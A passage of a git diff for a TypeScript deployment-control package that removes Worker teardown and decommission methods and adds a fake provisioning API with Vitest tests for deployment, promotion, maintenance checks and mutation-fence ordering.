(remaining.length > 0) { - throw new Error( - `ordinary Worker '${record.scriptName}' failed exact secret revocation during force decommission`, - ); - } - return; - } - if (step !== 'delete-database') { - throw new Error(`unsupported force-decommission step '${step}'`); - } - if (!this.#api.supportsExactDatabaseDeletion) { - throw new Error(EXACT_DATABASE_DELETION_REQUIRED); - } - await this.#api.withMutationFence(fence, async () => { - const database = await this.#api.getDatabase(record.databaseId); - if (!database) return; - if ( - database.id !== record.databaseId || - database.name !== record.databaseName - ) { - throw new Error( - `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}' during force decommission`, - ); - } - await this.#api.deleteDatabaseFenced(database.id, fence); - if (await this.#api.getDatabase(record.databaseId)) { - throw new Error( - `database '${record.databaseId}' remains after force decommission`, - ); - } - }); - } - - async removeTraffic( - spec: DeploymentSpec, - retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, - activeRelease: ExternalReleaseSnapshot | undefined, - database: DatabaseReference, - fence: ExternalMutationFence, - ): Promise { - const worker = await this.#attestPersistedWorkerOwnership( - spec, - database.id, - retainedReleases, - activeRelease, - ); - const route = await this.#customDomain(spec.routeHostname); - if (route && route.service !== spec.scriptName) { - throw new Error( - `refusing to remove custom domain '${spec.routeHostname}' owned by Worker '${route.service}'`, - ); - } - if (!worker && route) { - throw new Error( - `refusing to remove custom domain '${spec.routeHostname}' without an attestable Worker owner`, - ); - } - if (route) { - await this.#assertMutationFence(fence); - await this.#api.detachCustomDomain(route.id, fence); - } - if (worker) { - await this.#api.disableOrdinaryWorkerPublicAccess(spec.scriptName, fence); - } - } - - async assertTrafficRemoved(spec: DeploymentSpec): Promise { - const footprint = await this.#api.inspectOrdinaryWorkerFootprint( - spec.scriptName, - ); - if ( - footprint.customDomains.length > 0 || - footprint.zoneRoutes.length > 0 || - footprint.workersDevEnabled === true || - footprint.previewUrlsEnabled === true - ) { - throw new Error( - `ordinary Worker '${spec.scriptName}' retains public ingress after traffic removal`, - ); - } - } - - async deleteWorker( - spec: DeploymentSpec, - retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, - database: DatabaseReference, - activeRelease: ExternalReleaseSnapshot | undefined, - fence: ExternalMutationFence, - ): Promise { - const [initialFootprint, initialNamespaceIds] = await Promise.all([ - this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#api.listDurableObjectNamespaces(spec.scriptName), - ]); - await this.assertTrafficRemoved(spec); - if (!initialFootprint.scriptPresent) { - if ( - initialFootprint.customDomains.length > 0 || - initialFootprint.zoneRoutes.length > 0 || - initialNamespaceIds.length > 0 - ) { - throw new Error( - `ordinary Worker '${spec.scriptName}' has a script-absent footprint with residual routes, domains, or Durable Object namespaces`, - ); - } - const [status, versions] = await Promise.all([ - this.#deploymentStatus(spec), - this.#listVersions(spec), - ]); - if (status || (versions && versions.length > 0)) { - throw new Error( - `ordinary Worker '${spec.scriptName}' remains after its footprint reported absence`, - ); - } - return; - } - if (initialFootprint.zoneRoutes.length > 0) { - throw new Error( - `refusing to delete Worker '${spec.scriptName}' with an inconsistent script or zone-route footprint`, - ); - } - const unexpectedDomains = (await this.#api.listCustomDomains()).filter( - (domain) => - domain.service === spec.scriptName && - domain.hostname.toLowerCase() !== spec.routeHostname.toLowerCase(), - ); - if (unexpectedDomains.length > 0) { - throw new Error( - `refusing to delete Worker '${spec.scriptName}' with unexpected custom domains`, - ); - } - // Secret mutations can create new version IDs, so this live check validates - // the persisted anchor and deployed identity without repeating artifact-set membership. - if ( - !(await this.#attestTeardownWorkerOwnership( - spec, - database.id, - retainedReleases, - activeRelease, - )) - ) { - throw new Error( - `ordinary Worker '${spec.scriptName}' disappeared before deletion`, - ); - } - this.#assertMutationDuration(fence); - const deletionOutcome = await this.#api.deleteWorkerScript( - spec.scriptName, - fence, - ); - // Policy treats deleted and absent identically because the residual check follows; - // satisfies is a widening tripwire for future adapter outcomes. - deletionOutcome satisfies 'deleted' | 'absent'; - const [ - status, - versions, - residualRoute, - residualWorkerDomains, - footprint, - residualNamespaceIds, - ] = await Promise.all([ - this.#deploymentStatus(spec), - this.#listVersions(spec), - this.#customDomain(spec.routeHostname), - this.#api - .listCustomDomains() - .then((domains) => - domains.filter((domain) => domain.service === spec.scriptName), - ), - this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#api.listDurableObjectNamespaces(spec.scriptName), - ]); - if ( - status || - (versions && versions.length > 0) || - residualRoute || - residualWorkerDomains.length > 0 || - footprint.scriptPresent || - footprint.customDomains.length > 0 || - footprint.zoneRoutes.length > 0 || - residualNamespaceIds.length > 0 - ) { - throw new Error( - `Worker '${spec.scriptName}' or its custom domain remains after delete`, - ); - } - } - - async exportDatabase( - database: DatabaseReference, - fence: ExternalMutationFence, - ): Promise { - this.#assertMutationDuration(fence); - const exported = await this.#api.exportDatabase(database, fence); - return { - databaseId: database.id, - location: exported.location, - sha256: exported.sha256, - size: exported.size, - }; - } - - async deleteDatabase( - database: DatabaseReference, - fence: ExternalMutationFence, - ): Promise { - if (!this.#api.supportsExactDatabaseDeletion) { - throw new Error(EXACT_DATABASE_DELETION_REQUIRED); - } - await this.#api.withMutationFence(fence, async () => { - await this.#api.deleteDatabaseFenced(database.id, fence); - if (await this.#api.getDatabase(database.id)) { - throw new Error(`database '${database.id}' remains after deletion`); - } + identityCaller: 'WranglerLoopBackend.seedDeploymentIdentity', + fetch: fetchImplementation, + maintenanceRequestTimeoutMs: resolvedMaintenanceRequestTimeoutMs, + clock, }); } } + +export { plainWorkerIngressModule } from './plain-worker-backend.js'; diff --git a/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts b/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts index 5ec4aa1f..c7449107 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-port-probe.ts @@ -56,6 +56,17 @@ export function mutationFence( return { mutationLeaseTtlMs: 15 * 60_000, assertOwned }; } +export async function rejectedValue( + operation: Promise, +): Promise { + try { + await operation; + } catch (error) { + return error; + } + throw new Error('expected rejection'); +} + export async function drain(body: ReadableStream): Promise<{ readonly size: number; readonly sha256: string; diff --git a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts new file mode 100644 index 00000000..409270b7 --- /dev/null +++ b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts @@ -0,0 +1,405 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + ApplicationR2Binding, + ApplicationR2BucketSnapshot, + DatabaseReference, + ExternalMutationFence, + PlainWorkerCleanupOutcome, + PlainWorkerCustomDomain, + PlainWorkerDatabaseExportResult, + PlainWorkerDatabaseInventoryEntry, + PlainWorkerDeploymentStatus, + PlainWorkerMutationOutcome, + PlainWorkerProvisioningApi, + PlainWorkerUploadIntent, + PlainWorkerUploadOutcome, + PlainWorkerVersionDetail, + PlainWorkerVersionSummary, + R2Jurisdiction, + WorkerZoneRoute, +} from '../../src/types.js'; + +/** + * `entry` adds an assertion on `withMutationFence` entry in addition to the + * per-request assertion. The probe fixture's entry-asserting shape instead + * models one legacy entry assertion without per-request assertions. + */ +export type FenceAssertionMode = 'entry' | 'per-request'; + +export class PlainWorkerProvisioningApiFake + implements PlainWorkerProvisioningApi +{ + readonly maxMutationDurationMs: number; + readonly supportsExactDatabaseDeletion = true; + readonly events: string[] = []; + readonly failures = new Map(); + // absent, buckets, exportResult, and createDeploymentOutcome's failure arm are + // deliberately unexercised seed state for the direct-API conformance fixture. + readonly absent = new Set(); + readonly scripts = new Set(); + readonly databases = new Map(); + readonly versions = new Map(); + readonly deployments = new Map(); + readonly domains: PlainWorkerCustomDomain[] = []; + readonly buckets = new Map(); + readonly secretNames = new Map(); + readonly namespaces = new Map(); + readonly footprints = new Map< + string, + { + scriptPresent: boolean; + workersDevEnabled?: boolean; + previewUrlsEnabled?: boolean; + customDomains: readonly PlainWorkerCustomDomain[]; + zoneRoutes: readonly WorkerZoneRoute[]; + } + >(); + readonly queries: Array<{ + databaseId: string; + sql: string; + bindings: readonly string[]; + }> = []; + uploadCleanup: PlainWorkerCleanupOutcome = { status: 'succeeded' }; + createDatabaseOutcome: PlainWorkerMutationOutcome = { status: 'succeeded' }; + uploadOutcome: PlainWorkerMutationOutcome = { status: 'succeeded' }; + createDeploymentOutcome: PlainWorkerMutationOutcome = { + status: 'succeeded', + }; + exportResult: PlainWorkerDatabaseExportResult = { + location: 'memory://database-export', + size: 0, + sha256: '0'.repeat(64), + }; + activeRoute: + | Readonly<{ + artifactVersion: string; + specDigest: string | undefined; + }> + | undefined; + onUploadCandidate: + | ((intent: PlainWorkerUploadIntent) => void | Promise) + | undefined; + onDeleteControlSecrets: + | ((secretNames: readonly string[]) => void | Promise) + | undefined; + onDeleteWorkerScript: (() => void | Promise) | undefined; + + #ambientFence: ExternalMutationFence | undefined; + // A backend-owned assertion records `assertOwned`; suppress the port's own + // assertion while it runs so the port records only `port-assert`. + #portAssertionActive = false; + + constructor( + readonly fenceAssertionMode: FenceAssertionMode = 'per-request', + maxMutationDurationMs = 5 * 60_000, + ) { + this.maxMutationDurationMs = maxMutationDurationMs; + } + + fence(): ExternalMutationFence { + return { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => { + if (!this.#portAssertionActive) this.events.push('assertOwned'); + }, + }; + } + + async #assertPortOwned(fence: ExternalMutationFence): Promise { + this.events.push('port-assert'); + this.#portAssertionActive = true; + try { + await fence.assertOwned(); + } finally { + this.#portAssertionActive = false; + } + } + + async #request( + name: string, + fence: ExternalMutationFence | undefined, + ): Promise { + const activeFence = fence ?? this.#ambientFence; + if (activeFence) { + await this.#assertPortOwned(activeFence); + } + this.events.push(`mutation:${name}`); + if (this.failures.has(name)) throw this.failures.get(name); + } + + async withMutationFence( + fence: ExternalMutationFence, + operation: () => Promise, + ): Promise { + const prior = this.#ambientFence; + this.#ambientFence = fence; + try { + if (this.fenceAssertionMode === 'entry') { + await this.#assertPortOwned(fence); + } + return await operation(); + } finally { + this.#ambientFence = prior; + } + } + + async queryDatabase( + databaseId: string, + sql: string, + bindings: readonly string[] = [], + ): Promise>[]> { + await this.#request('queryDatabase', undefined); + this.queries.push({ databaseId, sql, bindings }); + return []; + } + + async batchDatabase(): Promise { + await this.#request('batchDatabase', undefined); + } + + async listDatabases(): Promise { + return [...this.databases.values()].map(({ id, name }) => ({ + databaseId: id, + name, + })); + } + + async getDatabase( + databaseId: string, + ): Promise { + return this.absent.has(`database:${databaseId}`) + ? undefined + : this.databases.get(databaseId); + } + + async createDatabase( + name: string, + fence: ExternalMutationFence, + ): Promise { + await this.#request('createDatabase', fence); + if (this.createDatabaseOutcome.status === 'succeeded') { + this.databases.set(name, { id: name, name, created: false }); + } + return this.createDatabaseOutcome; + } + + async deleteDatabaseFenced( + databaseId: string, + fence: ExternalMutationFence, + ): Promise { + await this.#request('deleteDatabaseFenced', fence); + this.databases.delete(databaseId); + } + + async deploymentStatus( + scriptName: string, + ): Promise { + return this.absent.has(`deployment:${scriptName}`) + ? undefined + : this.deployments.get(scriptName); + } + + async listVersions( + scriptName: string, + ): Promise { + if (this.absent.has(`versions:${scriptName}`)) return undefined; + const versions = this.versions.get(scriptName); + return versions?.map(({ versionId, tag }) => ({ versionId, tag })); + } + + async viewVersion( + scriptName: string, + versionId: string, + ): Promise { + const found = this.versions + .get(scriptName) + ?.find((version) => version.versionId === versionId); + if (!found) throw new Error(`version '${versionId}' is absent`); + return found; + } + + async findVersion( + scriptName: string, + versionId: string, + ): Promise { + return this.versions + .get(scriptName) + ?.find((version) => version.versionId === versionId); + } + + async uploadCandidate( + intent: PlainWorkerUploadIntent, + fence: ExternalMutationFence, + ): Promise { + await this.#request('uploadCandidate', fence); + await this.onUploadCandidate?.(intent); + return { ...this.uploadOutcome, cleanup: this.uploadCleanup }; + } + + async createDeployment( + scriptName: string, + versions: readonly { versionId: string; percentage: number }[], + fence: ExternalMutationFence, + ): Promise { + await this.#request('createDeployment', fence); + if (this.createDeploymentOutcome.status === 'succeeded') { + this.scripts.add(scriptName); + this.deployments.set(scriptName, { + versions: versions.map(({ versionId, percentage }) => ({ + versionId, + percentage, + })), + }); + } + return this.createDeploymentOutcome; + } + + async deleteWorkerScript( + scriptName: string, + fence: ExternalMutationFence, + ): Promise<'deleted' | 'absent'> { + await this.#request('deleteWorkerScript', fence); + const hadVersions = this.versions.delete(scriptName); + const hadDeployment = this.deployments.delete(scriptName); + const hadScript = this.scripts.delete(scriptName); + const existed = hadVersions || hadDeployment || hadScript; + this.footprints.delete(scriptName); + await this.onDeleteWorkerScript?.(); + return existed ? 'deleted' : 'absent'; + } + + async exportDatabase( + _database: { readonly id: string; readonly name: string }, + fence: ExternalMutationFence, + ): Promise { + await this.#request('exportDatabase', fence); + return this.exportResult; + } + + async listWorkerDatabaseAttachments(): Promise { + return []; + } + + async listWorkerR2Attachments(): Promise { + return []; + } + + async getR2Bucket( + bucketName: string, + _jurisdiction: R2Jurisdiction, + ): Promise { + return this.buckets.get(bucketName); + } + + async createR2Bucket( + resource: ApplicationR2Binding, + fence: ExternalMutationFence, + ): Promise { + await this.#request('createR2Bucket', fence); + this.buckets.set(resource.bucketName, { + ...resource, + creationDate: '2026-08-26T00:00:00.000Z', + }); + } + + async assertR2BucketEmpty(): Promise {} + + async deleteR2Bucket( + resource: ApplicationR2Binding, + fence: ExternalMutationFence, + ): Promise { + await this.#request('deleteR2Bucket', fence); + this.buckets.delete(resource.bucketName); + } + + async inspectActiveWorkerRoute(): Promise< + | Readonly<{ + artifactVersion: string; + specDigest: string | undefined; + }> + | undefined + > { + return this.activeRoute; + } + + async listCustomDomains(): Promise { + return [...this.domains]; + } + + async inspectOrdinaryWorkerFootprint(scriptName: string): Promise<{ + readonly scriptPresent: boolean; + readonly workersDevEnabled?: boolean; + readonly previewUrlsEnabled?: boolean; + readonly customDomains: readonly PlainWorkerCustomDomain[]; + readonly zoneRoutes: readonly WorkerZoneRoute[]; + }> { + return ( + this.footprints.get(scriptName) ?? { + scriptPresent: + this.scripts.has(scriptName) || + this.versions.has(scriptName) || + this.deployments.has(scriptName), + customDomains: this.domains.filter( + (domain) => domain.service === scriptName, + ), + zoneRoutes: [], + } + ); + } + + async listDurableObjectNamespaces( + scriptName: string, + ): Promise { + return this.namespaces.get(scriptName) ?? []; + } + + async listOrdinaryWorkerSecretNames( + scriptName: string, + ): Promise { + return this.secretNames.get(scriptName) ?? []; + } + + async deleteControlSecrets( + scriptName: string, + secretNames: readonly string[], + fence: ExternalMutationFence, + ): Promise { + await this.#request('deleteControlSecrets', fence); + const remaining = (this.secretNames.get(scriptName) ?? []).filter( + (name) => !secretNames.includes(name), + ); + this.secretNames.set(scriptName, remaining); + await this.onDeleteControlSecrets?.(secretNames); + } + + async attachCustomDomain( + target: { readonly hostname: string; readonly service: string }, + fence: ExternalMutationFence, + ): Promise { + await this.#request('attachCustomDomain', fence); + this.domains.push({ id: target.hostname, ...target }); + } + + async detachCustomDomain( + domainId: string, + fence: ExternalMutationFence, + ): Promise { + await this.#request('detachCustomDomain', fence); + const index = this.domains.findIndex(({ id }) => id === domainId); + if (index >= 0) this.domains.splice(index, 1); + } + + async disableOrdinaryWorkerPublicAccess( + scriptName: string, + fence: ExternalMutationFence, + ): Promise { + await this.#request('disableOrdinaryWorkerPublicAccess', fence); + const footprint = await this.inspectOrdinaryWorkerFootprint(scriptName); + this.footprints.set(scriptName, { + ...footprint, + workersDevEnabled: false, + previewUrlsEnabled: false, + }); + } +} diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts new file mode 100644 index 00000000..26f963b9 --- /dev/null +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -0,0 +1,762 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from 'vitest'; +import { ActiveRouteAttestationError } from '../src/active-route.js'; +import { WorkerDeploymentError } from '../src/deployment-error.js'; +import { PlainWorkerBackend } from '../src/plain-worker-backend.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import type { + DatabaseReference, + DeploymentSecrets, + DeploymentSpec, + FleetRecord, + PlainWorkerUploadIntent, + PlainWorkerVersionDetail, +} from '../src/types.js'; +import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; +import { + mutationFence, + rejectedValue, + routeApi, +} from './fixtures/plain-worker-port-probe.js'; +import { + type FenceAssertionMode, + PlainWorkerProvisioningApiFake, +} from './fixtures/plain-worker-provisioning-api-fake.js'; + +// The legacy Wrangler suite remains the compatibility proof. This suite proves +// that the core runs without a CLI adapter and seeds the direct-API conformance +// fixture. Cases here cover core-to-port policy, not duplicate adapter behavior. + +const spec: DeploymentSpec = { + tenantTag: 'acme', + environment: 'production', + scriptName: 'acme-production', + databaseName: 'acme-production', + compatibilityDate: '2026-08-10', + compatibilityFlags: ['nodejs_compat'], + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default { fetch() {} }' }], + authoredBy: 'platform', + schemaVersion: 3, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: 'https://control.example.test', + routeHostname: 'app.example.test', +}; + +const database: DatabaseReference = { + id: 'database-id', + name: spec.databaseName, + created: true, +}; + +const secrets: DeploymentSecrets = { + deploymentIdentity: 'deployment-identity-secret-value-0001', + maintenanceAdmin: 'maintenance-admin-secret-value-00001', +}; + +function backend( + api: PlainWorkerProvisioningApiFake, + options: { + readonly fetch?: typeof fetch; + readonly clock?: () => number; + } = {}, +): PlainWorkerBackend { + return new PlainWorkerBackend({ + api, + identityCaller: 'PlainWorkerBackend.test', + ...options, + }); +} + +function ownedVersion( + id: string, + deployment = spec, + databaseId = database.id, +): PlainWorkerVersionDetail { + const digest = deploymentSpecDigest(deployment); + return { + versionId: id, + tag: digest, + bindings: [ + { type: 'd1', name: 'DB', databaseId }, + { + type: 'plain-text', + name: 'DEPLOYMENT_TENANT', + value: deployment.tenantTag, + }, + { + type: 'plain-text', + name: 'FLEET_ENVIRONMENT', + value: deployment.environment, + }, + { + type: 'plain-text', + name: 'FLEET_SCHEMA_VERSION', + value: String(deployment.schemaVersion), + }, + { + type: 'plain-text', + name: 'FLEET_SPEC_DIGEST', + value: digest, + }, + { + type: 'plain-text', + name: 'FLEET_INGRESS_CONTRACT', + value: 'guarded-object-v1', + }, + ], + }; +} + +function installOnUpload(api: PlainWorkerProvisioningApiFake): void { + api.onUploadCandidate = (intent) => { + api.versions.set(intent.scriptName, [ + ...(api.versions.get(intent.scriptName) ?? []), + ownedVersion('candidate'), + ]); + if (intent.mode === 'initial') { + api.deployments.set(intent.scriptName, { + versions: [{ versionId: 'candidate', percentage: 100 }], + }); + } + }; +} + +function deployedCandidate(api: PlainWorkerProvisioningApiFake): void { + api.versions.set(spec.scriptName, [ownedVersion('candidate')]); + api.deployments.set(spec.scriptName, { + versions: [{ versionId: 'candidate', percentage: 100 }], + }); +} + +function maintenanceResponse(digest = deploymentSpecDigest(spec)): Response { + return Response.json({ + nextSweepAt: 2_000, + nextPurgeAt: 3_000, + alarmAt: 2_000, + lastSweepAt: 1_000, + deploymentSpecDigest: digest, + }); +} + +function fleetRecord(): FleetRecord { + return { + tenantTag: spec.tenantTag, + backend: 'plain-worker', + environment: spec.environment, + scriptName: spec.scriptName, + databaseId: database.id, + databaseName: database.name, + schemaVersion: spec.schemaVersion, + artifactVersion: 'candidate', + desiredSpecDigest: deploymentSpecDigest(spec), + durableObjectBindings: [], + routeHostname: spec.routeHostname, + phase: 'decommissioning', + updatedAt: '2026-08-26T00:00:00.000Z', + }; +} + +const activeRelease = { + physicalScriptName: spec.scriptName, + specDigest: deploymentSpecDigest(spec), + artifactVersion: 'candidate', + releaseSchemaVersion: spec.schemaVersion, +} as const; + +describe('WranglerLoopBackend construction', () => { + it('keeps wrapper validation order before adapter construction', () => { + const exportStore = { + async write() { + throw new Error('not called'); + }, + }; + const construct = (overrides: Record) => + new WranglerLoopBackend({ + runner: undefined as never, + routeApi: routeApi(), + exportDirectory: '/tmp/export', + exportStore, + ...overrides, + }); + expect(() => construct({ exportDirectory: '' })).toThrow( + 'exportDirectory is required', + ); + expect(() => construct({ exportStore: undefined })).toThrow( + 'exportStore is required', + ); + expect(() => construct({ routeApi: undefined })).toThrow( + 'routeApi is required', + ); + expect(() => construct({ maintenanceRequestTimeoutMs: 0 })).toThrow( + 'maintenance request timeout must be positive', + ); + expect(() => construct({})).toThrow(TypeError); + }); +}); + +describe('PlainWorkerBackend core policy', () => { + it('reconciles a failed database creation by provider name', async () => { + const api = new PlainWorkerProvisioningApiFake(); + const providerError = new Error('create response lost'); + api.databases.set(database.id, { ...database, created: false }); + api.createDatabaseOutcome = { status: 'failed', error: providerError }; + + await expect( + backend(api).ensureDatabase(spec, mutationFence()), + ).resolves.toEqual({ ...database, created: true }); + expect(api.queries).toHaveLength(1); + }); + + it.each([ + ['succeeded', { status: 'succeeded' } as const], + [ + 'failed after dispatch', + { status: 'failed', error: new Error('lost') } as const, + ], + ])('rediscovers a tagged upload when the outcome %s', async (_label, outcome) => { + const api = new PlainWorkerProvisioningApiFake(); + api.uploadOutcome = outcome; + installOnUpload(api); + + await expect( + backend(api).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ), + ).resolves.toEqual({ artifactVersion: 'candidate', created: true }); + }); + + it('uses rediscovery failure for a falsy dispatched upload rejection', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.uploadOutcome = { status: 'failed', error: undefined }; + const error = await rejectedValue( + backend(api).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ), + ); + expect(error).toBeInstanceOf(WorkerDeploymentError); + expect((error as WorkerDeploymentError).cause).toMatchObject({ + message: expect.stringContaining( + 'did not create exactly one new tagged Worker version', + ), + }); + }); + + it('propagates pre-dispatch lease rejection without rollback', async () => { + const api = new PlainWorkerProvisioningApiFake(); + const denied = new Error('lease lost'); + await expect( + backend(api).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(vi.fn(async () => Promise.reject(denied))), + ), + ).rejects.toBe(denied); + expect(api.events).toEqual(['port-assert']); + }); + + it('separates initial and staged upload intents and refuses staged migrations', async () => { + const initialApi = new PlainWorkerProvisioningApiFake(); + let initialIntent: PlainWorkerUploadIntent | undefined; + initialApi.onUploadCandidate = (intent) => { + initialIntent = intent; + initialApi.versions.set(spec.scriptName, [ownedVersion('candidate')]); + initialApi.deployments.set(spec.scriptName, { + versions: [{ versionId: 'candidate', percentage: 100 }], + }); + }; + await backend(initialApi).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ); + expect(initialIntent).toMatchObject({ + mode: 'initial', + durableObjectMigrations: [], + }); + + const stagedApi = new PlainWorkerProvisioningApiFake(); + stagedApi.versions.set(spec.scriptName, [ownedVersion('current')]); + stagedApi.deployments.set(spec.scriptName, { + versions: [{ versionId: 'current', percentage: 100 }], + }); + let stagedIntent: PlainWorkerUploadIntent | undefined; + stagedApi.onUploadCandidate = (intent) => { + stagedIntent = intent; + stagedApi.versions.set(spec.scriptName, [ + ownedVersion('current'), + ownedVersion('candidate'), + ]); + }; + await backend(stagedApi).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ); + expect(stagedIntent).toEqual( + expect.not.objectContaining({ + durableObjectMigrations: expect.anything(), + }), + ); + expect(stagedIntent).toMatchObject({ mode: 'staged' }); + + const migrating = { + ...spec, + durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['State'] }], + durableObjectBindings: [{ name: 'STATE', className: 'State' }], + } satisfies DeploymentSpec; + const migratingApi = new PlainWorkerProvisioningApiFake(); + migratingApi.versions.set(migrating.scriptName, [ + ownedVersion('current', migrating), + ]); + migratingApi.deployments.set(migrating.scriptName, { + versions: [{ versionId: 'current', percentage: 100 }], + }); + await expect( + backend(migratingApi).deployWorker( + migrating, + database, + secrets, + undefined, + mutationFence(), + ), + ).rejects.toThrow('pending Durable Object lifecycle migration'); + }); + + it('guards promotion and confirms the attached custom domain', async () => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + await backend(api).promoteWorker( + spec, + { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: true }, + undefined, + mutationFence(), + 'candidate', + ); + expect(api.domains).toEqual([ + { + id: spec.routeHostname, + hostname: spec.routeHostname, + service: spec.scriptName, + }, + ]); + }); + + it('checks maintenance digest through injected fetch', async () => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const request = vi.fn(async () => maintenanceResponse()); + await expect( + backend(api, { fetch: request }).ensureMaintenance( + spec, + secrets.maintenanceAdmin, + mutationFence(), + 'candidate', + ), + ).resolves.toMatchObject({ + armed: true, + deploymentSpecDigest: deploymentSpecDigest(spec), + }); + }); + + it('attests only a SHA-256 active route and stamps the injected clock', async () => { + const api = new PlainWorkerProvisioningApiFake(); + const clock = () => Date.parse('2026-08-26T04:00:00.000Z'); + await expect( + backend(api, { clock }).attestActiveRoute(spec), + ).rejects.toBeInstanceOf(ActiveRouteAttestationError); + api.activeRoute = { + artifactVersion: 'candidate', + specDigest: 'not-a-digest', + }; + await expect( + backend(api, { clock }).attestActiveRoute(spec), + ).rejects.toBeInstanceOf(ActiveRouteAttestationError); + api.activeRoute = { + artifactVersion: 'candidate', + specDigest: deploymentSpecDigest(spec), + }; + await expect( + backend(api, { clock }).attestActiveRoute(spec), + ).resolves.toEqual({ + specDigest: deploymentSpecDigest(spec), + artifactVersion: 'candidate', + physicalScriptName: spec.scriptName, + source: 'workers-deployments', + observedAt: '2026-08-26T04:00:00.000Z', + }); + }); + + it.each([ + ['new Worker', false, false, true], + ['version-only Worker', false, true, false], + ['deployed Worker', true, true, false], + ])('classifies post-success cleanup for a %s', async (_label, deployed, versionPresent, createdByAttempt) => { + const api = new PlainWorkerProvisioningApiFake(); + if (versionPresent) { + api.versions.set(spec.scriptName, [ownedVersion('current')]); + } + if (deployed) { + api.deployments.set(spec.scriptName, { + versions: [{ versionId: 'current', percentage: 100 }], + }); + } + installOnUpload(api); + const cleanupError = new Error('scratch cleanup failed'); + api.uploadCleanup = { status: 'failed', error: cleanupError }; + + const error = await rejectedValue( + backend(api).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ), + ); + expect(error).toBeInstanceOf(WorkerDeploymentError); + expect(error).toMatchObject({ + message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch: scratch cleanup failed`, + createdByAttempt, + resourceState: 'present', + }); + expect((error as WorkerDeploymentError).cause).toBe(cleanupError); + }); + + it('uses neutral mutation-duration diagnostics', async () => { + const zeroApi = new PlainWorkerProvisioningApiFake('per-request', 0); + await expect( + backend(zeroApi).ensureDatabase(spec, mutationFence()), + ).rejects.toThrow('provider mutation maximum duration must be positive'); + const longApi = new PlainWorkerProvisioningApiFake( + 'per-request', + 15 * 60_000, + ); + await expect( + backend(longApi).ensureDatabase(spec, mutationFence()), + ).rejects.toThrow( + 'provider mutation maximum duration must be below the external mutation fence lease TTL', + ); + }); +}); + +const fenceModes = ['entry', 'per-request'] satisfies FenceAssertionMode[]; + +function portMutation(name: string): readonly string[] { + return ['port-assert', `mutation:${name}`]; +} + +function carriedMutation( + mode: FenceAssertionMode, + name: string, +): readonly string[] { + return [...(mode === 'entry' ? ['port-assert'] : []), ...portMutation(name)]; +} + +const carrierScenarios = fenceModes.flatMap((mode) => [ + { mode, scenario: 'deleteDatabase' as const }, + { mode, scenario: 'force delete-database' as const }, + { mode, scenario: 'applyMigrations' as const }, +]); + +describe('PlainWorkerBackend mutation-fence carrier ordering', () => { + it.each( + carrierScenarios, + )('$scenario records exact ordering in $mode mode', async ({ + mode, + scenario, + }) => { + const api = new PlainWorkerProvisioningApiFake(mode); + const ownedFence = api.fence(); + + if (scenario === 'deleteDatabase') { + api.databases.set(database.id, database); + await backend(api).deleteDatabase(database, ownedFence); + expect(api.events).toEqual(carriedMutation(mode, 'deleteDatabaseFenced')); + return; + } + + if (scenario === 'force delete-database') { + api.databases.set(database.id, database); + await backend(api).forceDecommissionStep( + fleetRecord(), + 'delete-database', + ownedFence, + ); + expect(api.events).toEqual(carriedMutation(mode, 'deleteDatabaseFenced')); + return; + } + + if (scenario === 'applyMigrations') { + api.failures.set('batchDatabase', new Error('batch failed')); + const error = await rejectedValue( + backend(api).applyMigrations( + database, + [{ version: 1, sql: 'CREATE TABLE example (id TEXT)' }], + ownedFence, + ), + ); + expect(error).toMatchObject({ + message: 'failed to apply D1 migration 1', + }); + expect(api.events).toEqual([ + ...carriedMutation(mode, 'queryDatabase'), + ...carriedMutation(mode, 'queryDatabase'), + ...carriedMutation(mode, 'batchDatabase'), + ...carriedMutation(mode, 'queryDatabase'), + ]); + return; + } + + throw new Error(`unhandled scenario '${scenario satisfies never}'`); + }); +}); + +// None of these paths enters withMutationFence, so entry mode must not add a +// `port-assert` event. +const directFenceScenarios = fenceModes.flatMap((mode) => [ + { mode, scenario: 'promotion attach' as const }, + { mode, scenario: 'normal traffic removal' as const }, + { mode, scenario: 'force traffic removal' as const }, + { mode, scenario: 'secret deletion' as const }, + { mode, scenario: 'maintenance request' as const }, +]); + +describe('PlainWorkerBackend direct mutation assertion ownership', () => { + it.each( + directFenceScenarios, + )('$scenario pins backend and port assertions in $mode mode', async ({ + mode, + scenario, + }) => { + const api = new PlainWorkerProvisioningApiFake(mode); + const ownedFence = api.fence(); + + if (scenario === 'promotion attach') { + deployedCandidate(api); + await backend(api).promoteWorker( + spec, + { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: true }, + undefined, + ownedFence, + 'candidate', + ); + 